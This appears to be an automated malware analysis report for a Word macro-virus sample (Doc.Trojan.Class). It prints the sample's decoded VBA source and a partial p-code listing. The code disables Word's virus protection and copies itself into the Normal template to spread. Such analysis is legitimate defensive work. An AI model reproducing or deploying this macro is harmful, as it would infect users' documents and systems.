Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cc8af1468035d8d3…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-10-22 09:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 300095b8dca0eb6ae3540a4e5543da92 SHA-1: 16d0b424135a7769e76b996f943affb98afd502c SHA-256: cc8af1468035d8d39a5945f7aa6c1ab07f02fdfaf8de7fc670bfec4ea1ef954f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and AutoClose functions, which are commonly used to execute malicious code upon document opening. The AutoOpen macro attempts to export a component to 'c:\normal.do' and then modify it, suggesting it's part of a payload delivery mechanism. The presence of legacy WordBasic markers further indicates a potentially older, but still functional, malicious document.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4321 bytes
SHA-256: 1e0c1063f34215c3ff234dfc42fc5b8db877f5c909a5ee7926ce7324519beec4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
  On Error GoTo out
  Options.VirusProtection = False
  Options.SaveNormalPrompt = False
  Options.ConfirmConversions = False
  ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
  nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
  If nt > 30 And ad > 0 Then GoTo out
  If nt < 30 Then
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\normal.do"
  End If
  If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
  If Day(Now) = 11 Then
    MsgBox "Internal Error!  Restart Word.", 0, "Microsoft Word"
   End If
  host.codemodule.AddFromFile ("c:\normal.do")
  With host.codemodule
    For x = 1 To 4
      .deletelines 1
    Next x
  End With
  If nt < 30 Then
    With host.codemodule
    .replaceline 1, "Sub AutoClose()"
    End With
  End If

out:
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

' Processing file: /opt/analyzer/scan_staging/13fc9b4dd2344d49b3e99a5178b7dcab.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2583 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError out 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #6:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #7:
' 	Ld nt 
' 	LitDI2 0x001E 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #8:
' 	Ld nt 
' 	LitDI2 0x001E 
' 	Lt 
' 	IfBlock 
' Line #9:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #10:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #11:
' 	LitStr 0x000C "c:\normal.do"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #14:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000B 
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitStr 0x001E "Internal Error!  Restart Word."
' 	LitDI2 0x0000 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	LitStr 0x000C "c:\normal.do"
' 	Paren 
' 	Ld host 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #18:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #19:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #20:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #21:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #22:
' 	EndWith 
' Line #23:
' 	Ld nt 
' 	LitDI2 0x001E 
' 	Lt 
' 	IfBlock 
' Line #24:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #25:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #26:
' 	EndWith 
' Lin
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.